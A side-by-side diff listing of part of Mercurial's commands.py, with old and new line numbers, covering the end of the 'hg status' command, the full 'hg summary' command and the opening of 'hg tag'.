6871 hg status --rev 9353
6869
6872
6870 - show changes in the working directory relative to the
6873 - show changes in the working directory relative to the
6871 current directory (see :hg:`help patterns` for more information)::
6874 current directory (see :hg:`help patterns` for more information)::
6872
6875
6873 hg status re:
6876 hg status re:
6874
6877
6875 - show all changes including copies in an existing changeset::
6878 - show all changes including copies in an existing changeset::
6876
6879
6877 hg status --copies --change 9353
6880 hg status --copies --change 9353
6878
6881
6879 - get a NUL separated list of added files, suitable for xargs::
6882 - get a NUL separated list of added files, suitable for xargs::
6880
6883
6881 hg status -an0
6884 hg status -an0
6882
6885
6883 - show more information about the repository status, abbreviating
6886 - show more information about the repository status, abbreviating
6884 added, removed, modified, deleted, and untracked paths::
6887 added, removed, modified, deleted, and untracked paths::
6885
6888
6886 hg status -v -t mardu
6889 hg status -v -t mardu
6887
6890
6888 Returns 0 on success.
6891 Returns 0 on success.
6889
6892
6890 """
6893 """
6891
6894
6892 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
6895 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
6893 opts = pycompat.byteskwargs(opts)
6896 opts = pycompat.byteskwargs(opts)
6894 revs = opts.get(b'rev')
6897 revs = opts.get(b'rev')
6895 change = opts.get(b'change')
6898 change = opts.get(b'change')
6896 terse = opts.get(b'terse')
6899 terse = opts.get(b'terse')
6897 if terse is _NOTTERSE:
6900 if terse is _NOTTERSE:
6898 if revs:
6901 if revs:
6899 terse = b''
6902 terse = b''
6900 else:
6903 else:
6901 terse = ui.config(b'commands', b'status.terse')
6904 terse = ui.config(b'commands', b'status.terse')
6902
6905
6903 if revs and terse:
6906 if revs and terse:
6904 msg = _(b'cannot use --terse with --rev')
6907 msg = _(b'cannot use --terse with --rev')
6905 raise error.InputError(msg)
6908 raise error.InputError(msg)
6906 elif change:
6909 elif change:
6907 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
6910 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
6908 ctx2 = logcmdutil.revsingle(repo, change, None)
6911 ctx2 = logcmdutil.revsingle(repo, change, None)
6909 ctx1 = ctx2.p1()
6912 ctx1 = ctx2.p1()
6910 else:
6913 else:
6911 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
6914 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
6912 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
6915 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
6913
6916
6914 forcerelativevalue = None
6917 forcerelativevalue = None
6915 if ui.hasconfig(b'commands', b'status.relative'):
6918 if ui.hasconfig(b'commands', b'status.relative'):
6916 forcerelativevalue = ui.configbool(b'commands', b'status.relative')
6919 forcerelativevalue = ui.configbool(b'commands', b'status.relative')
6917 uipathfn = scmutil.getuipathfn(
6920 uipathfn = scmutil.getuipathfn(
6918 repo,
6921 repo,
6919 legacyrelativevalue=bool(pats),
6922 legacyrelativevalue=bool(pats),
6920 forcerelativevalue=forcerelativevalue,
6923 forcerelativevalue=forcerelativevalue,
6921 )
6924 )
6922
6925
6923 if opts.get(b'print0'):
6926 if opts.get(b'print0'):
6924 end = b'\0'
6927 end = b'\0'
6925 else:
6928 else:
6926 end = b'\n'
6929 end = b'\n'
6927 states = b'modified added removed deleted unknown ignored clean'.split()
6930 states = b'modified added removed deleted unknown ignored clean'.split()
6928 show = [k for k in states if opts.get(k)]
6931 show = [k for k in states if opts.get(k)]
6929 if opts.get(b'all'):
6932 if opts.get(b'all'):
6930 show += ui.quiet and (states[:4] + [b'clean']) or states
6933 show += ui.quiet and (states[:4] + [b'clean']) or states
6931
6934
6932 if not show:
6935 if not show:
6933 if ui.quiet:
6936 if ui.quiet:
6934 show = states[:4]
6937 show = states[:4]
6935 else:
6938 else:
6936 show = states[:5]
6939 show = states[:5]
6937
6940
6938 m = scmutil.match(ctx2, pats, opts)
6941 m = scmutil.match(ctx2, pats, opts)
6939 if terse:
6942 if terse:
6940 # we need to compute clean and unknown to terse
6943 # we need to compute clean and unknown to terse
6941 stat = repo.status(
6944 stat = repo.status(
6942 ctx1.node(),
6945 ctx1.node(),
6943 ctx2.node(),
6946 ctx2.node(),
6944 m,
6947 m,
6945 b'ignored' in show or b'i' in terse,
6948 b'ignored' in show or b'i' in terse,
6946 clean=True,
6949 clean=True,
6947 unknown=True,
6950 unknown=True,
6948 listsubrepos=opts.get(b'subrepos'),
6951 listsubrepos=opts.get(b'subrepos'),
6949 )
6952 )
6950
6953
6951 stat = cmdutil.tersedir(stat, terse)
6954 stat = cmdutil.tersedir(stat, terse)
6952 else:
6955 else:
6953 stat = repo.status(
6956 stat = repo.status(
6954 ctx1.node(),
6957 ctx1.node(),
6955 ctx2.node(),
6958 ctx2.node(),
6956 m,
6959 m,
6957 b'ignored' in show,
6960 b'ignored' in show,
6958 b'clean' in show,
6961 b'clean' in show,
6959 b'unknown' in show,
6962 b'unknown' in show,
6960 opts.get(b'subrepos'),
6963 opts.get(b'subrepos'),
6961 )
6964 )
6962
6965
6963 changestates = zip(
6966 changestates = zip(
6964 states,
6967 states,
6965 pycompat.iterbytestr(b'MAR!?IC'),
6968 pycompat.iterbytestr(b'MAR!?IC'),
6966 [getattr(stat, s.decode('utf8')) for s in states],
6969 [getattr(stat, s.decode('utf8')) for s in states],
6967 )
6970 )
6968
6971
6969 copy = {}
6972 copy = {}
6970 if (
6973 if (
6971 opts.get(b'all')
6974 opts.get(b'all')
6972 or opts.get(b'copies')
6975 or opts.get(b'copies')
6973 or ui.configbool(b'ui', b'statuscopies')
6976 or ui.configbool(b'ui', b'statuscopies')
6974 ) and not opts.get(b'no_status'):
6977 ) and not opts.get(b'no_status'):
6975 copy = copies.pathcopies(ctx1, ctx2, m)
6978 copy = copies.pathcopies(ctx1, ctx2, m)
6976
6979
6977 morestatus = None
6980 morestatus = None
6978 if (
6981 if (
6979 (ui.verbose or ui.configbool(b'commands', b'status.verbose'))
6982 (ui.verbose or ui.configbool(b'commands', b'status.verbose'))
6980 and not ui.plain()
6983 and not ui.plain()
6981 and not opts.get(b'print0')
6984 and not opts.get(b'print0')
6982 ):
6985 ):
6983 morestatus = cmdutil.readmorestatus(repo)
6986 morestatus = cmdutil.readmorestatus(repo)
6984
6987
6985 ui.pager(b'status')
6988 ui.pager(b'status')
6986 fm = ui.formatter(b'status', opts)
6989 fm = ui.formatter(b'status', opts)
6987 fmt = b'%s' + end
6990 fmt = b'%s' + end
6988 showchar = not opts.get(b'no_status')
6991 showchar = not opts.get(b'no_status')
6989
6992
6990 for state, char, files in changestates:
6993 for state, char, files in changestates:
6991 if state in show:
6994 if state in show:
6992 label = b'status.' + state
6995 label = b'status.' + state
6993 for f in files:
6996 for f in files:
6994 fm.startitem()
6997 fm.startitem()
6995 fm.context(ctx=ctx2)
6998 fm.context(ctx=ctx2)
6996 fm.data(itemtype=b'file', path=f)
6999 fm.data(itemtype=b'file', path=f)
6997 fm.condwrite(showchar, b'status', b'%s ', char, label=label)
7000 fm.condwrite(showchar, b'status', b'%s ', char, label=label)
6998 fm.plain(fmt % uipathfn(f), label=label)
7001 fm.plain(fmt % uipathfn(f), label=label)
6999 if f in copy:
7002 if f in copy:
7000 fm.data(source=copy[f])
7003 fm.data(source=copy[f])
7001 fm.plain(
7004 fm.plain(
7002 (b' %s' + end) % uipathfn(copy[f]),
7005 (b' %s' + end) % uipathfn(copy[f]),
7003 label=b'status.copied',
7006 label=b'status.copied',
7004 )
7007 )
7005 if morestatus:
7008 if morestatus:
7006 morestatus.formatfile(f, fm)
7009 morestatus.formatfile(f, fm)
7007
7010
7008 if morestatus:
7011 if morestatus:
7009 morestatus.formatfooter(fm)
7012 morestatus.formatfooter(fm)
7010 fm.end()
7013 fm.end()
7011
7014
7012
7015
7013 @command(
7016 @command(
7014 b'summary|sum',
7017 b'summary|sum',
7015 [(b'', b'remote', None, _(b'check for push and pull'))],
7018 [(b'', b'remote', None, _(b'check for push and pull'))],
7016 b'[--remote]',
7019 b'[--remote]',
7017 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7020 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7018 helpbasic=True,
7021 helpbasic=True,
7019 intents={INTENT_READONLY},
7022 intents={INTENT_READONLY},
7020 )
7023 )
7021 def summary(ui, repo, **opts):
7024 def summary(ui, repo, **opts):
7022 """summarize working directory state
7025 """summarize working directory state
7023
7026
7024 This generates a brief summary of the working directory state,
7027 This generates a brief summary of the working directory state,
7025 including parents, branch, commit status, phase and available updates.
7028 including parents, branch, commit status, phase and available updates.
7026
7029
7027 With the --remote option, this will check the default paths for
7030 With the --remote option, this will check the default paths for
7028 incoming and outgoing changes. This can be time-consuming.
7031 incoming and outgoing changes. This can be time-consuming.
7029
7032
7030 Returns 0 on success.
7033 Returns 0 on success.
7031 """
7034 """
7032
7035
7033 opts = pycompat.byteskwargs(opts)
7036 opts = pycompat.byteskwargs(opts)
7034 ui.pager(b'summary')
7037 ui.pager(b'summary')
7035 ctx = repo[None]
7038 ctx = repo[None]
7036 parents = ctx.parents()
7039 parents = ctx.parents()
7037 pnode = parents[0].node()
7040 pnode = parents[0].node()
7038 marks = []
7041 marks = []
7039
7042
7040 try:
7043 try:
7041 ms = mergestatemod.mergestate.read(repo)
7044 ms = mergestatemod.mergestate.read(repo)
7042 except error.UnsupportedMergeRecords as e:
7045 except error.UnsupportedMergeRecords as e:
7043 s = b' '.join(e.recordtypes)
7046 s = b' '.join(e.recordtypes)
7044 ui.warn(
7047 ui.warn(
7045 _(b'warning: merge state has unsupported record types: %s\n') % s
7048 _(b'warning: merge state has unsupported record types: %s\n') % s
7046 )
7049 )
7047 unresolved = []
7050 unresolved = []
7048 else:
7051 else:
7049 unresolved = list(ms.unresolved())
7052 unresolved = list(ms.unresolved())
7050
7053
7051 for p in parents:
7054 for p in parents:
7052 # label with log.changeset (instead of log.parent) since this
7055 # label with log.changeset (instead of log.parent) since this
7053 # shows a working directory parent *changeset*:
7056 # shows a working directory parent *changeset*:
7054 # i18n: column positioning for "hg summary"
7057 # i18n: column positioning for "hg summary"
7055 ui.write(
7058 ui.write(
7056 _(b'parent: %d:%s ') % (p.rev(), p),
7059 _(b'parent: %d:%s ') % (p.rev(), p),
7057 label=logcmdutil.changesetlabels(p),
7060 label=logcmdutil.changesetlabels(p),
7058 )
7061 )
7059 ui.write(b' '.join(p.tags()), label=b'log.tag')
7062 ui.write(b' '.join(p.tags()), label=b'log.tag')
7060 if p.bookmarks():
7063 if p.bookmarks():
7061 marks.extend(p.bookmarks())
7064 marks.extend(p.bookmarks())
7062 if p.rev() == -1:
7065 if p.rev() == -1:
7063 if not len(repo):
7066 if not len(repo):
7064 ui.write(_(b' (empty repository)'))
7067 ui.write(_(b' (empty repository)'))
7065 else:
7068 else:
7066 ui.write(_(b' (no revision checked out)'))
7069 ui.write(_(b' (no revision checked out)'))
7067 if p.obsolete():
7070 if p.obsolete():
7068 ui.write(_(b' (obsolete)'))
7071 ui.write(_(b' (obsolete)'))
7069 if p.isunstable():
7072 if p.isunstable():
7070 instabilities = (
7073 instabilities = (
7071 ui.label(instability, b'trouble.%s' % instability)
7074 ui.label(instability, b'trouble.%s' % instability)
7072 for instability in p.instabilities()
7075 for instability in p.instabilities()
7073 )
7076 )
7074 ui.write(b' (' + b', '.join(instabilities) + b')')
7077 ui.write(b' (' + b', '.join(instabilities) + b')')
7075 ui.write(b'\n')
7078 ui.write(b'\n')
7076 if p.description():
7079 if p.description():
7077 ui.status(
7080 ui.status(
7078 b' ' + p.description().splitlines()[0].strip() + b'\n',
7081 b' ' + p.description().splitlines()[0].strip() + b'\n',
7079 label=b'log.summary',
7082 label=b'log.summary',
7080 )
7083 )
7081
7084
7082 branch = ctx.branch()
7085 branch = ctx.branch()
7083 bheads = repo.branchheads(branch)
7086 bheads = repo.branchheads(branch)
7084 # i18n: column positioning for "hg summary"
7087 # i18n: column positioning for "hg summary"
7085 m = _(b'branch: %s\n') % branch
7088 m = _(b'branch: %s\n') % branch
7086 if branch != b'default':
7089 if branch != b'default':
7087 ui.write(m, label=b'log.branch')
7090 ui.write(m, label=b'log.branch')
7088 else:
7091 else:
7089 ui.status(m, label=b'log.branch')
7092 ui.status(m, label=b'log.branch')
7090
7093
7091 if marks:
7094 if marks:
7092 active = repo._activebookmark
7095 active = repo._activebookmark
7093 # i18n: column positioning for "hg summary"
7096 # i18n: column positioning for "hg summary"
7094 ui.write(_(b'bookmarks:'), label=b'log.bookmark')
7097 ui.write(_(b'bookmarks:'), label=b'log.bookmark')
7095 if active is not None:
7098 if active is not None:
7096 if active in marks:
7099 if active in marks:
7097 ui.write(b' *' + active, label=bookmarks.activebookmarklabel)
7100 ui.write(b' *' + active, label=bookmarks.activebookmarklabel)
7098 marks.remove(active)
7101 marks.remove(active)
7099 else:
7102 else:
7100 ui.write(b' [%s]' % active, label=bookmarks.activebookmarklabel)
7103 ui.write(b' [%s]' % active, label=bookmarks.activebookmarklabel)
7101 for m in marks:
7104 for m in marks:
7102 ui.write(b' ' + m, label=b'log.bookmark')
7105 ui.write(b' ' + m, label=b'log.bookmark')
7103 ui.write(b'\n', label=b'log.bookmark')
7106 ui.write(b'\n', label=b'log.bookmark')
7104
7107
7105 status = repo.status(unknown=True)
7108 status = repo.status(unknown=True)
7106
7109
7107 c = repo.dirstate.copies()
7110 c = repo.dirstate.copies()
7108 copied, renamed = [], []
7111 copied, renamed = [], []
7109 for d, s in pycompat.iteritems(c):
7112 for d, s in pycompat.iteritems(c):
7110 if s in status.removed:
7113 if s in status.removed:
7111 status.removed.remove(s)
7114 status.removed.remove(s)
7112 renamed.append(d)
7115 renamed.append(d)
7113 else:
7116 else:
7114 copied.append(d)
7117 copied.append(d)
7115 if d in status.added:
7118 if d in status.added:
7116 status.added.remove(d)
7119 status.added.remove(d)
7117
7120
7118 subs = [s for s in ctx.substate if ctx.sub(s).dirty()]
7121 subs = [s for s in ctx.substate if ctx.sub(s).dirty()]
7119
7122
7120 labels = [
7123 labels = [
7121 (ui.label(_(b'%d modified'), b'status.modified'), status.modified),
7124 (ui.label(_(b'%d modified'), b'status.modified'), status.modified),
7122 (ui.label(_(b'%d added'), b'status.added'), status.added),
7125 (ui.label(_(b'%d added'), b'status.added'), status.added),
7123 (ui.label(_(b'%d removed'), b'status.removed'), status.removed),
7126 (ui.label(_(b'%d removed'), b'status.removed'), status.removed),
7124 (ui.label(_(b'%d renamed'), b'status.copied'), renamed),
7127 (ui.label(_(b'%d renamed'), b'status.copied'), renamed),
7125 (ui.label(_(b'%d copied'), b'status.copied'), copied),
7128 (ui.label(_(b'%d copied'), b'status.copied'), copied),
7126 (ui.label(_(b'%d deleted'), b'status.deleted'), status.deleted),
7129 (ui.label(_(b'%d deleted'), b'status.deleted'), status.deleted),
7127 (ui.label(_(b'%d unknown'), b'status.unknown'), status.unknown),
7130 (ui.label(_(b'%d unknown'), b'status.unknown'), status.unknown),
7128 (ui.label(_(b'%d unresolved'), b'resolve.unresolved'), unresolved),
7131 (ui.label(_(b'%d unresolved'), b'resolve.unresolved'), unresolved),
7129 (ui.label(_(b'%d subrepos'), b'status.modified'), subs),
7132 (ui.label(_(b'%d subrepos'), b'status.modified'), subs),
7130 ]
7133 ]
7131 t = []
7134 t = []
7132 for l, s in labels:
7135 for l, s in labels:
7133 if s:
7136 if s:
7134 t.append(l % len(s))
7137 t.append(l % len(s))
7135
7138
7136 t = b', '.join(t)
7139 t = b', '.join(t)
7137 cleanworkdir = False
7140 cleanworkdir = False
7138
7141
7139 if repo.vfs.exists(b'graftstate'):
7142 if repo.vfs.exists(b'graftstate'):
7140 t += _(b' (graft in progress)')
7143 t += _(b' (graft in progress)')
7141 if repo.vfs.exists(b'updatestate'):
7144 if repo.vfs.exists(b'updatestate'):
7142 t += _(b' (interrupted update)')
7145 t += _(b' (interrupted update)')
7143 elif len(parents) > 1:
7146 elif len(parents) > 1:
7144 t += _(b' (merge)')
7147 t += _(b' (merge)')
7145 elif branch != parents[0].branch():
7148 elif branch != parents[0].branch():
7146 t += _(b' (new branch)')
7149 t += _(b' (new branch)')
7147 elif parents[0].closesbranch() and pnode in repo.branchheads(
7150 elif parents[0].closesbranch() and pnode in repo.branchheads(
7148 branch, closed=True
7151 branch, closed=True
7149 ):
7152 ):
7150 t += _(b' (head closed)')
7153 t += _(b' (head closed)')
7151 elif not (
7154 elif not (
7152 status.modified
7155 status.modified
7153 or status.added
7156 or status.added
7154 or status.removed
7157 or status.removed
7155 or renamed
7158 or renamed
7156 or copied
7159 or copied
7157 or subs
7160 or subs
7158 ):
7161 ):
7159 t += _(b' (clean)')
7162 t += _(b' (clean)')
7160 cleanworkdir = True
7163 cleanworkdir = True
7161 elif pnode not in bheads:
7164 elif pnode not in bheads:
7162 t += _(b' (new branch head)')
7165 t += _(b' (new branch head)')
7163
7166
7164 if parents:
7167 if parents:
7165 pendingphase = max(p.phase() for p in parents)
7168 pendingphase = max(p.phase() for p in parents)
7166 else:
7169 else:
7167 pendingphase = phases.public
7170 pendingphase = phases.public
7168
7171
7169 if pendingphase > phases.newcommitphase(ui):
7172 if pendingphase > phases.newcommitphase(ui):
7170 t += b' (%s)' % phases.phasenames[pendingphase]
7173 t += b' (%s)' % phases.phasenames[pendingphase]
7171
7174
7172 if cleanworkdir:
7175 if cleanworkdir:
7173 # i18n: column positioning for "hg summary"
7176 # i18n: column positioning for "hg summary"
7174 ui.status(_(b'commit: %s\n') % t.strip())
7177 ui.status(_(b'commit: %s\n') % t.strip())
7175 else:
7178 else:
7176 # i18n: column positioning for "hg summary"
7179 # i18n: column positioning for "hg summary"
7177 ui.write(_(b'commit: %s\n') % t.strip())
7180 ui.write(_(b'commit: %s\n') % t.strip())
7178
7181
7179 # all ancestors of branch heads - all ancestors of parent = new csets
7182 # all ancestors of branch heads - all ancestors of parent = new csets
7180 new = len(
7183 new = len(
7181 repo.changelog.findmissing([pctx.node() for pctx in parents], bheads)
7184 repo.changelog.findmissing([pctx.node() for pctx in parents], bheads)
7182 )
7185 )
7183
7186
7184 if new == 0:
7187 if new == 0:
7185 # i18n: column positioning for "hg summary"
7188 # i18n: column positioning for "hg summary"
7186 ui.status(_(b'update: (current)\n'))
7189 ui.status(_(b'update: (current)\n'))
7187 elif pnode not in bheads:
7190 elif pnode not in bheads:
7188 # i18n: column positioning for "hg summary"
7191 # i18n: column positioning for "hg summary"
7189 ui.write(_(b'update: %d new changesets (update)\n') % new)
7192 ui.write(_(b'update: %d new changesets (update)\n') % new)
7190 else:
7193 else:
7191 # i18n: column positioning for "hg summary"
7194 # i18n: column positioning for "hg summary"
7192 ui.write(
7195 ui.write(
7193 _(b'update: %d new changesets, %d branch heads (merge)\n')
7196 _(b'update: %d new changesets, %d branch heads (merge)\n')
7194 % (new, len(bheads))
7197 % (new, len(bheads))
7195 )
7198 )
7196
7199
7197 t = []
7200 t = []
7198 draft = len(repo.revs(b'draft()'))
7201 draft = len(repo.revs(b'draft()'))
7199 if draft:
7202 if draft:
7200 t.append(_(b'%d draft') % draft)
7203 t.append(_(b'%d draft') % draft)
7201 secret = len(repo.revs(b'secret()'))
7204 secret = len(repo.revs(b'secret()'))
7202 if secret:
7205 if secret:
7203 t.append(_(b'%d secret') % secret)
7206 t.append(_(b'%d secret') % secret)
7204
7207
7205 if draft or secret:
7208 if draft or secret:
7206 ui.status(_(b'phases: %s\n') % b', '.join(t))
7209 ui.status(_(b'phases: %s\n') % b', '.join(t))
7207
7210
7208 if obsolete.isenabled(repo, obsolete.createmarkersopt):
7211 if obsolete.isenabled(repo, obsolete.createmarkersopt):
7209 for trouble in (b"orphan", b"contentdivergent", b"phasedivergent"):
7212 for trouble in (b"orphan", b"contentdivergent", b"phasedivergent"):
7210 numtrouble = len(repo.revs(trouble + b"()"))
7213 numtrouble = len(repo.revs(trouble + b"()"))
7211 # We write all the possibilities to ease translation
7214 # We write all the possibilities to ease translation
7212 troublemsg = {
7215 troublemsg = {
7213 b"orphan": _(b"orphan: %d changesets"),
7216 b"orphan": _(b"orphan: %d changesets"),
7214 b"contentdivergent": _(b"content-divergent: %d changesets"),
7217 b"contentdivergent": _(b"content-divergent: %d changesets"),
7215 b"phasedivergent": _(b"phase-divergent: %d changesets"),
7218 b"phasedivergent": _(b"phase-divergent: %d changesets"),
7216 }
7219 }
7217 if numtrouble > 0:
7220 if numtrouble > 0:
7218 ui.status(troublemsg[trouble] % numtrouble + b"\n")
7221 ui.status(troublemsg[trouble] % numtrouble + b"\n")
7219
7222
7220 cmdutil.summaryhooks(ui, repo)
7223 cmdutil.summaryhooks(ui, repo)
7221
7224
7222 if opts.get(b'remote'):
7225 if opts.get(b'remote'):
7223 needsincoming, needsoutgoing = True, True
7226 needsincoming, needsoutgoing = True, True
7224 else:
7227 else:
7225 needsincoming, needsoutgoing = False, False
7228 needsincoming, needsoutgoing = False, False
7226 for i, o in cmdutil.summaryremotehooks(ui, repo, opts, None):
7229 for i, o in cmdutil.summaryremotehooks(ui, repo, opts, None):
7227 if i:
7230 if i:
7228 needsincoming = True
7231 needsincoming = True
7229 if o:
7232 if o:
7230 needsoutgoing = True
7233 needsoutgoing = True
7231 if not needsincoming and not needsoutgoing:
7234 if not needsincoming and not needsoutgoing:
7232 return
7235 return
7233
7236
7234 def getincoming():
7237 def getincoming():
7235 # XXX We should actually skip this if no default is specified, instead
7238 # XXX We should actually skip this if no default is specified, instead
7236 # of passing "default" which will resolve as "./default/" if no default
7239 # of passing "default" which will resolve as "./default/" if no default
7237 # path is defined.
7240 # path is defined.
7238 source, branches = urlutil.get_unique_pull_path(
7241 source, branches = urlutil.get_unique_pull_path(
7239 b'summary', repo, ui, b'default'
7242 b'summary', repo, ui, b'default'
7240 )
7243 )
7241 sbranch = branches[0]
7244 sbranch = branches[0]
7242 try:
7245 try:
7243 other = hg.peer(repo, {}, source)
7246 other = hg.peer(repo, {}, source)
7244 except error.RepoError:
7247 except error.RepoError:
7245 if opts.get(b'remote'):
7248 if opts.get(b'remote'):
7246 raise
7249 raise
7247 return source, sbranch, None, None, None
7250 return source, sbranch, None, None, None
7248 revs, checkout = hg.addbranchrevs(repo, other, branches, None)
7251 revs, checkout = hg.addbranchrevs(repo, other, branches, None)
7249 if revs:
7252 if revs:
7250 revs = [other.lookup(rev) for rev in revs]
7253 revs = [other.lookup(rev) for rev in revs]
7251 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
7254 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
7252 with repo.ui.silent():
7255 with repo.ui.silent():
7253 commoninc = discovery.findcommonincoming(repo, other, heads=revs)
7256 commoninc = discovery.findcommonincoming(repo, other, heads=revs)
7254 return source, sbranch, other, commoninc, commoninc[1]
7257 return source, sbranch, other, commoninc, commoninc[1]
7255
7258
7256 if needsincoming:
7259 if needsincoming:
7257 source, sbranch, sother, commoninc, incoming = getincoming()
7260 source, sbranch, sother, commoninc, incoming = getincoming()
7258 else:
7261 else:
7259 source = sbranch = sother = commoninc = incoming = None
7262 source = sbranch = sother = commoninc = incoming = None
7260
7263
7261 def getoutgoing():
7264 def getoutgoing():
7262 # XXX We should actually skip this if no default is specified, instead
7265 # XXX We should actually skip this if no default is specified, instead
7263 # of passing "default" which will resolve as "./default/" if no default
7266 # of passing "default" which will resolve as "./default/" if no default
7264 # path is defined.
7267 # path is defined.
7265 d = None
7268 d = None
7266 if b'default-push' in ui.paths:
7269 if b'default-push' in ui.paths:
7267 d = b'default-push'
7270 d = b'default-push'
7268 elif b'default' in ui.paths:
7271 elif b'default' in ui.paths:
7269 d = b'default'
7272 d = b'default'
7270 if d is not None:
7273 if d is not None:
7271 path = urlutil.get_unique_push_path(b'summary', repo, ui, d)
7274 path = urlutil.get_unique_push_path(b'summary', repo, ui, d)
7272 dest = path.pushloc or path.loc
7275 dest = path.pushloc or path.loc
7273 dbranch = path.branch
7276 dbranch = path.branch
7274 else:
7277 else:
7275 dest = b'default'
7278 dest = b'default'
7276 dbranch = None
7279 dbranch = None
7277 revs, checkout = hg.addbranchrevs(repo, repo, (dbranch, []), None)
7280 revs, checkout = hg.addbranchrevs(repo, repo, (dbranch, []), None)
7278 if source != dest:
7281 if source != dest:
7279 try:
7282 try:
7280 dother = hg.peer(repo, {}, dest)
7283 dother = hg.peer(repo, {}, dest)
7281 except error.RepoError:
7284 except error.RepoError:
7282 if opts.get(b'remote'):
7285 if opts.get(b'remote'):
7283 raise
7286 raise
7284 return dest, dbranch, None, None
7287 return dest, dbranch, None, None
7285 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
7288 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
7286 elif sother is None:
7289 elif sother is None:
7287 # there is no explicit destination peer, but source one is invalid
7290 # there is no explicit destination peer, but source one is invalid
7288 return dest, dbranch, None, None
7291 return dest, dbranch, None, None
7289 else:
7292 else:
7290 dother = sother
7293 dother = sother
7291 if source != dest or (sbranch is not None and sbranch != dbranch):
7294 if source != dest or (sbranch is not None and sbranch != dbranch):
7292 common = None
7295 common = None
7293 else:
7296 else:
7294 common = commoninc
7297 common = commoninc
7295 if revs:
7298 if revs:
7296 revs = [repo.lookup(rev) for rev in revs]
7299 revs = [repo.lookup(rev) for rev in revs]
7297 with repo.ui.silent():
7300 with repo.ui.silent():
7298 outgoing = discovery.findcommonoutgoing(
7301 outgoing = discovery.findcommonoutgoing(
7299 repo, dother, onlyheads=revs, commoninc=common
7302 repo, dother, onlyheads=revs, commoninc=common
7300 )
7303 )
7301 return dest, dbranch, dother, outgoing
7304 return dest, dbranch, dother, outgoing
7302
7305
7303 if needsoutgoing:
7306 if needsoutgoing:
7304 dest, dbranch, dother, outgoing = getoutgoing()
7307 dest, dbranch, dother, outgoing = getoutgoing()
7305 else:
7308 else:
7306 dest = dbranch = dother = outgoing = None
7309 dest = dbranch = dother = outgoing = None
7307
7310
7308 if opts.get(b'remote'):
7311 if opts.get(b'remote'):
7309 # Help pytype. --remote sets both `needsincoming` and `needsoutgoing`.
7312 # Help pytype. --remote sets both `needsincoming` and `needsoutgoing`.
7310 # The former always sets `sother` (or raises an exception if it can't);
7313 # The former always sets `sother` (or raises an exception if it can't);
7311 # the latter always sets `outgoing`.
7314 # the latter always sets `outgoing`.
7312 assert sother is not None
7315 assert sother is not None
7313 assert outgoing is not None
7316 assert outgoing is not None
7314
7317
7315 t = []
7318 t = []
7316 if incoming:
7319 if incoming:
7317 t.append(_(b'1 or more incoming'))
7320 t.append(_(b'1 or more incoming'))
7318 o = outgoing.missing
7321 o = outgoing.missing
7319 if o:
7322 if o:
7320 t.append(_(b'%d outgoing') % len(o))
7323 t.append(_(b'%d outgoing') % len(o))
7321 other = dother or sother
7324 other = dother or sother
7322 if b'bookmarks' in other.listkeys(b'namespaces'):
7325 if b'bookmarks' in other.listkeys(b'namespaces'):
7323 counts = bookmarks.summary(repo, other)
7326 counts = bookmarks.summary(repo, other)
7324 if counts[0] > 0:
7327 if counts[0] > 0:
7325 t.append(_(b'%d incoming bookmarks') % counts[0])
7328 t.append(_(b'%d incoming bookmarks') % counts[0])
7326 if counts[1] > 0:
7329 if counts[1] > 0:
7327 t.append(_(b'%d outgoing bookmarks') % counts[1])
7330 t.append(_(b'%d outgoing bookmarks') % counts[1])
7328
7331
7329 if t:
7332 if t:
7330 # i18n: column positioning for "hg summary"
7333 # i18n: column positioning for "hg summary"
7331 ui.write(_(b'remote: %s\n') % (b', '.join(t)))
7334 ui.write(_(b'remote: %s\n') % (b', '.join(t)))
7332 else:
7335 else:
7333 # i18n: column positioning for "hg summary"
7336 # i18n: column positioning for "hg summary"
7334 ui.status(_(b'remote: (synced)\n'))
7337 ui.status(_(b'remote: (synced)\n'))
7335
7338
7336 cmdutil.summaryremotehooks(
7339 cmdutil.summaryremotehooks(
7337 ui,
7340 ui,
7338 repo,
7341 repo,
7339 opts,
7342 opts,
7340 (
7343 (
7341 (source, sbranch, sother, commoninc),
7344 (source, sbranch, sother, commoninc),
7342 (dest, dbranch, dother, outgoing),
7345 (dest, dbranch, dother, outgoing),
7343 ),
7346 ),
7344 )
7347 )
7345
7348
7346
7349
7347 @command(
7350 @command(
7348 b'tag',
7351 b'tag',
7349 [
7352 [
7350 (b'f', b'force', None, _(b'force tag')),
7353 (b'f', b'force', None, _(b'force tag')),
7351 (b'l', b'local', None, _(b'make the tag local')),
7354 (b'l', b'local', None, _(b'make the tag local')),
7352 (b'r', b'rev', b'', _(b'revision to tag'), _(b'REV')),
7355 (b'r', b'rev', b'', _(b'revision to tag'), _(b'REV')),
7353 (b'', b'remove', None, _(b'remove a tag')),
7356 (b'', b'remove', None, _(b'remove a tag')),
7354 # -l/--local is already there, commitopts cannot be used
7357 # -l/--local is already there, commitopts cannot be used
7355 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
7358 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
7356 (b'm', b'message', b'', _(b'use text as commit message'), _(b'TEXT')),
7359 (b'm', b'message', b'', _(b'use text as commit message'), _(b'TEXT')),
7357 ]
7360 ]
7358 + commitopts2,
7361 + commitopts2,
7359 _(b'[-f] [-l] [-m TEXT] [-d DATE] [-u USER] [-r REV] NAME...'),
7362 _(b'[-f] [-l] [-m TEXT] [-d DATE] [-u USER] [-r REV] NAME...'),
7360 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7363 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7361 )
7364 )
7362 def tag(ui, repo, name1, *names, **opts):
7365 def tag(ui, repo, name1, *names, **opts):
7363 """add one or more tags for the current or given revision
7366 """add one or more tags for the current or given revision
7364
7367
7365 Name a particular revision using <name>.
7368 Name a particular revision using <name>.
7366
7369
